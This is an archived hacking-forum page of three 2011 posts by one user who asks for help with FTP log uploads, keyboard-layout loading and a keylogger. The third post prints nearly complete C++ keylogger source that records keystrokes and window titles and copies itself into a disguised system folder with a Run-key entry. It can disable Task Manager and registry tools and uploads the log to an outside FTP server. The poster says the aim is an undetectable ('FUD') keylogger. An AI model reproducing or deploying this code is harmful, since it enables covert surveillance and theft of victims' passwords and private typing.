This forum is in archive mode. You will not be able to post new content.

Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - Stilius

Pages: [1]
1
C - C++ / [c++] FTP upload issues
« on: April 21, 2011, 05:57:37 PM »
Hi, I am using this simple code to upload logs to ftp:

Code: [Select]
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{

    std::string FileName = get_date();
    cout << FileName << endl;
   HINTERNET hInternet;
   HINTERNET hFtpSession;
   hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
   hFtpSession = InternetConnect(hInternet, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
   FtpPutFile(hFtpSession, "C:\\log.txt", FileName.c_str(), FTP_TRANSFER_TYPE_BINARY, 0);
   if(FtpPutFile(hFtpSession, "C:\\log.txt", FileName.c_str(), FTP_TRANSFER_TYPE_BINARY, 0)){
      MessageBox(NULL, "Successfully uploaded log to ftp server!", "Ftp Upload", NULL);
   }else{
      MessageBox(NULL, "Couldn't upload log to ftp server!", "Ftp Upload", NULL);
      cout << FtpPutFile << endl; //ekrane parodo FtpPutFile
   }

   InternetCloseHandle(hFtpSession);
   InternetCloseHandle(hInternet);

   return 0;
}

But this code ant everyone another works for me only first time. Then I have to wait about 20 min that i can get "Successfully uploaded log to ftp server!". Where is the roblem? I am on router, but I think port have to be opened. Maby this is drivehq.com problem? I am searching for alternative ftp server and try ftp.tripod.com but I don't have mind how to connect to it. So pleaz opinion or sugestion why I can't send file to ftp one after one? Thanks for you time. FileZilla and got angry on drivehq:


Status:   Selected port usually in use by a different protocol.
Status:   Resolving address of ftp.drivehq.com
Status:   Connecting to 66.220.9.50:80...
Status:   Connection attempt failed with "ECONNREFUSED - Connection refused by server".
Error:   Could not connect to server

2
Hy I need some help on Keyboard Layout:

With this function I load keyboard layout

Code: [Select]
HINSTANCE loadKeyboardLayout()
{
PKBDTABLES pKbd;
HINSTANCE kbdLibrary;
KbdLayerDescriptor pKbdLayerDescriptor = NULL;

char layoutFile[MAX_PATH]; //char
if(getKeyboardLayoutFile(layoutFile, sizeof(layoutFile)) == -1)
return NULL;

char systemDirectory[MAX_PATH];
GetSystemDirectory(systemDirectory, MAX_PATH);

char kbdLayoutFilePath[MAX_PATH];
snprintf(kbdLayoutFilePath, MAX_PATH, "%s\\%s", systemDirectory, layoutFile);

kbdLibrary = LoadLibrary(kbdLayoutFilePath);

pKbdLayerDescriptor = (KbdLayerDescriptor)GetProcAddress(kbdLibrary, "KbdLayerDescriptor");

if(pKbdLayerDescriptor != NULL)
pKbd = pKbdLayerDescriptor();
else
return NULL;

int i = 0;
do
{
INIT_PVK_TO_WCHARS(i, 1)
INIT_PVK_TO_WCHARS(i, 2)
INIT_PVK_TO_WCHARS(i, 3)
INIT_PVK_TO_WCHARS(i, 4)
INIT_PVK_TO_WCHARS(i, 5)
INIT_PVK_TO_WCHARS(i, 6)
INIT_PVK_TO_WCHARS(i, 7)
INIT_PVK_TO_WCHARS(i, 8)
INIT_PVK_TO_WCHARS(i, 9)
INIT_PVK_TO_WCHARS(i, 10)
i++;
}
while(pKbd->pVkToWcharTable[i].cbSize != 0);

pCharModifiers = pKbd->pCharModifiers;
pDeadKey = pKbd->pDeadKey;

return kbdLibrary;
}

and there I get layout keyboard:

Code: [Select]
int getKeyboardLayoutFile(char* layoutFile, DWORD bufferSize)
{
HKEY hKey;
DWORD varType = REG_SZ;

char kbdName[KL_NAMELENGTH];
GetKeyboardLayoutName(kbdName);

char kbdKeyPath[51 + KL_NAMELENGTH];
snprintf(kbdKeyPath, 51 + KL_NAMELENGTH,
"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", kbdName);

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCTSTR)kbdKeyPath, 0, KEY_QUERY_VALUE, &hKey) =! ERROR_SUCCESS)
        return -1;

if (RegQueryValueEx(hKey, "Layout File", NULL, &varType, layoutFile, &bufferSize) != ERROR_SUCCESS) //jeigu ne ERROR_SUCCESS
    return -1; //this is error

RegCloseKey(hKey);

end gets 2 errors:
Code: [Select]
error: invalid conversion from 'char*' to 'BYTE*'|
error:   initializing argument 5 of 'LONG RegQueryValueExA(HKEY__*, const CHAR*, DWORD*, DWORD*, BYTE*, DWORD*)'|

on..
Code: [Select]
if (RegQueryValueEx(hKey, "Layout File", NULL, &varType, layoutFile, &bufferSize) != ERROR_SUCCESS) //jeigu ne ERROR_SUCCESS
    return -1; //this is error

How I understant conversion problem is on layoutFile variable. In first code how I can see it is char tipe. Any mind how to solve this error?








3
C - C++ / [C]Searching keylog sample with FTP upload.
« on: April 01, 2011, 08:41:40 PM »
Hi,
I am interesting in how hooked keystroke can be send to my ftp server. I have analized some samples. This is similar one:

Code: [Select]
#include <windows.h>
#include <wininet.h>
#include <fstream>
#include <ctime>

using namespace std;

std::string Keylog(int Key);

int StartUp();

DWORD WINAPI Upload(LPVOID);

int i,
key,
Size,
Sec;

ofstream Log;
ifstream Logger;

char Path[MAX_PATH+10],
RPath[300],
SysDir[MAX_PATH+10],
LogDir[MAX_PATH+10],
WindowText1[MAX_PATH+10],
WindowText2[MAX_PATH+10],
Time[10];

char *Buffer = 0,
*Server = 0,
*User = 0,
*Pass = 0,
*DTask = 0,
*DReg = 0,
*USec = 0,
*UVic = 0;

HKEY hKey;

HINTERNET hFtp,
hInet;

HWND Window;

DWORD dwValue = 1;

int main()
{
StartUp();

GetSystemDirectory(LogDir, sizeof(LogDir));
strcat(LogDir, "\\logg.txt");

Log.open(LogDir, ios:ut);

CreateThread(NULL, 0, Upload, 0, 0, NULL);

while(1)
{
Sleep(5);

_strtime(Time);

Window = GetForegroundWindow();

GetWindowText(Window, WindowText1, sizeof(WindowText1));

for(key = 8; key < 191; key++)
{
if(GetAsyncKeyState(key)&1 == 1)
{
if(strcmp(WindowText1, WindowText2))
{
Log<<"Window Title: "<<WindowText1<<"\n";
Log<<Time<<": ";
strcpy(WindowText2, WindowText1);
}
Log<<Keylog(key);
}
}
}
}

std::string Keylog(int Key)
{
std::string KeyString;

if(Key==0x20)
KeyString = " ";

if(Key==0xBC)
KeyString = ",";

if(Key==0xBD)
KeyString = "-";

if(Key==0xBE)
KeyString = ".";

if(Key==0x08)
KeyString = "[BACKSPACE]";

if(Key==0x09)
KeyString = "[TAB]";

if(Key==0x0D)
KeyString = "[ENTER]";

if(Key==0x10)
KeyString = "[SHIFT]";

if(Key==0x11)
KeyString = "[STRG]";

if(Key==0x12)
KeyString = "[ALT]";

if(Key==0x14)
KeyString = "[CAPITAL]";

if(Key==0x30)
KeyString = "0";

if(Key==0x31)
KeyString = "1";

if(Key==0x32)
KeyString = "2";

if(Key==0x33)
KeyString = "3";

if(Key==0x34)
KeyString = "4";

if(Key==0x35)
KeyString = "5";

if(Key==0x36)
KeyString = "6";

if(Key==0x37)
KeyString = "7";

if(Key==0x38)
KeyString = "8";

if(Key==0x39)
KeyString = "9";

if(Key==0x41)
KeyString = "a";

if(Key==0x42)
KeyString = "b";

if(Key==0x43)
KeyString = "c";

if(Key==0x44)
KeyString = "d";

if(Key==0x45)
KeyString = "e";

if(Key==0x46)
KeyString = "f";

if(Key==0x47)
KeyString = "g";

if(Key==0x48)
KeyString = "h";

if(Key==0x49)
KeyString = "i";

if(Key==0x4A)
KeyString = "j";

if(Key==0x4B)
KeyString = "k";

if(Key==0x4C)
KeyString = "l";

if(Key==0x4D)
KeyString = "m";

if(Key==0x4E)
KeyString = "n";

if(Key==0x4F)
KeyString = "o";

if(Key==0x50)
KeyString = "p";

if(Key==0x51)
KeyString = "q";

if(Key==0x52)
KeyString = "r";

if(Key==0x53)
KeyString = "s";

if(Key==0x54)
KeyString = "t";

if(Key==0x55)
KeyString = "u";

if(Key==0x56)
KeyString = "v";

if(Key==0x57)
KeyString = "w";

if(Key==0x58)
KeyString = "x";

if(Key==0x59)
KeyString = "y";

if(Key==0x5A)
KeyString = "z";

if(Key==0x60)
KeyString = "0";

if(Key==0x61)
KeyString = "1";

if(Key==0x62)
KeyString = "2";

if(Key==0x63)
KeyString = "3";

if(Key==0x64)
KeyString = "4";

if(Key==0x65)
KeyString = "5";

if(Key==0x66)
KeyString = "6";

if(Key==0x67)
KeyString = "7";

if(Key==0x68)
KeyString = "8";

if(Key==0x69)
KeyString = "9";

return KeyString;
}

int StartUp()
{
GetModuleFileName(GetModuleHandle(NULL), Path, sizeof(Path));
GetSystemDirectory(SysDir, sizeof(SysDir));

strcat(SysDir, "\\update_3442897\\updtr32.exe");

if(strcmp(Path, SysDir))
{
GetSystemDirectory(SysDir, sizeof(SysDir));

strcat(SysDir, "\\update_3442897");

CreateDirectory(SysDir, 0);

strcat(SysDir, "\\updtr32.exe");

CopyFile(Path, SysDir, 0);

RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, "Updater", 0, REG_SZ, (const unsigned char*)SysDir, sizeof(SysDir));
RegCloseKey(hKey);
}

Logger.open(Path, ios::in | ios::binary);

Logger.seekg(0, ios::end);

Size = Logger.tellg();

Logger.seekg(0, ios::beg);

Buffer = (char*)malloc(Size);

Logger.read(Buffer, Size);

Logger.close();

// Getting infos

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '1' && Buffer[i+2] == '*')
{
Server = Buffer + i + 3;
break;
}
}

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '2' && Buffer[i+2] == '*')
{
User = Buffer + i + 3;
break;
}
}

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '3' && Buffer[i+2] == '*')
{
Pass = Buffer + i + 3;
break;
}
}

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '4' && Buffer[i+2] == '*')
{
DTask = Buffer + i + 3;
break;
}
}

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '5' && Buffer[i+2] == '*')
{
DReg = Buffer + i + 3;
break;
}
}

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '6' && Buffer[i+2] == '*')
{
USec = Buffer + i + 3;
break;
}
}

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '7' && Buffer[i+2] == '*')
{
UVic = Buffer + i + 3;
break;
}
}

// Edit infos

if(Server != 0)
{
for(i = 0; i < strlen(Server); i++)
{
if(Server[i] == '*' && Server[i+1] == '2' && Server[i+2] == '*')
{
Server[i] = 0;
}
}

for(i = 0; i < strlen(Server); i++)
Server[i] = Server[i]-2;
}

if(User != 0)
{
for(i = 0; i < strlen(User); i++)
{
if(User[i] == '*' && User[i+1] == '3' && User[i+2] == '*')
{
User[i] = 0;
}
}

for(i = 0; i < strlen(User); i++)
User[i] = User[i]-2;
}

if(Pass != 0)
{
for(i = 0; i < strlen(Pass); i++)
{
if(Pass[i] == '*' && Pass[i+1] == '4' && Pass[i+2] == '*')
{
Pass[i] = 0;
}
}

for(i = 0; i < strlen(Pass); i++)
Pass[i] = Pass[i]-2;
}

if(DTask != 0)
{
for(i = 0; i < strlen(DTask); i++)
{
if(DTask[i] == '*' && DTask[i+1] == '5' && DTask[i+2] == '*')
{
DTask[i] = 0;
}
}

for(i = 0; i < strlen(DTask); i++)
DTask[i] = DTask[i]-2;
}

if(DReg != 0)
{
for(i = 0; i < strlen(DReg); i++)
{
if(DReg[i] == '*' && DReg[i+1] == '6' && DReg[i+2] == '*')
{
DReg[i] = 0;
}
}

for(i = 0; i < strlen(DReg); i++)
DReg[i] = DReg[i]-2;
}

if(USec != 0)
{
for(i = 0; i < strlen(USec); i++)
{
if(USec[i] == '*' && USec[i+1] == '7' && USec[i+2] == '*')
{
USec[i] = 0;
}
}

for(i = 0; i < strlen(USec); i++)
{
USec[i] = USec[i]-2;
}

Sec = atoi(USec);
}

if(UVic != 0)
{

for(i = 0; i < strlen(UVic); i++)
UVic[i] = UVic[i]-2;

strcat(UVic, " - Online.txt");
}

if(DTask != 0)
{
if(!strcmp(DTask, "yes"))
{
RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, "DisableTaskMgr", 0, REG_DWORD, (LPBYTE)&dwValue, sizeof(DWORD));
RegCloseKey(hKey);
}
}

if(DReg != 0)
{
if(!strcmp(DReg, "yes"))
{
RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, "DisableRegistryTools", 0, REG_DWORD, (LPBYTE)&dwValue, sizeof(DWORD));
RegCloseKey(hKey);
}
}
}*/

DWORD WINAPI Upload(LPVOID)
{
Sleep(Sec);

Log.close();

hInet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

hFtp = InternetConnect(hInet, "drivehq.com", INTERNET_DEFAULT_FTP_PORT, "User", "Pass", INTERNET_SERVICE_FTP, 0, 0);

FtpPutFile(hFtp, LogDir, UVic, FTP_TRANSFER_TYPE_BINARY, 0);

InternetCloseHandle(hFtp);
InternetCloseHandle(hInet);

exit(0); //Log uploaded, exit now !
}


I have used -wininet linker in my Code:Blocks project. FTP server is drivehq.com

Code: [Select]
hFtp = InternetConnect(hInet, "drivehq.com", INTERNET_DEFAULT_FTP_PORT, "User", "Pass", INTERNET_SERVICE_FTP, 0, 0);

but I don't get keystroke. Any mind? Or maby someone can give better source code? I know that WinInet is not the best fot FUD keylogger, but I just learnin in. Happy ant with socks sample :D

thanks fellas

Pages: [1]


Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.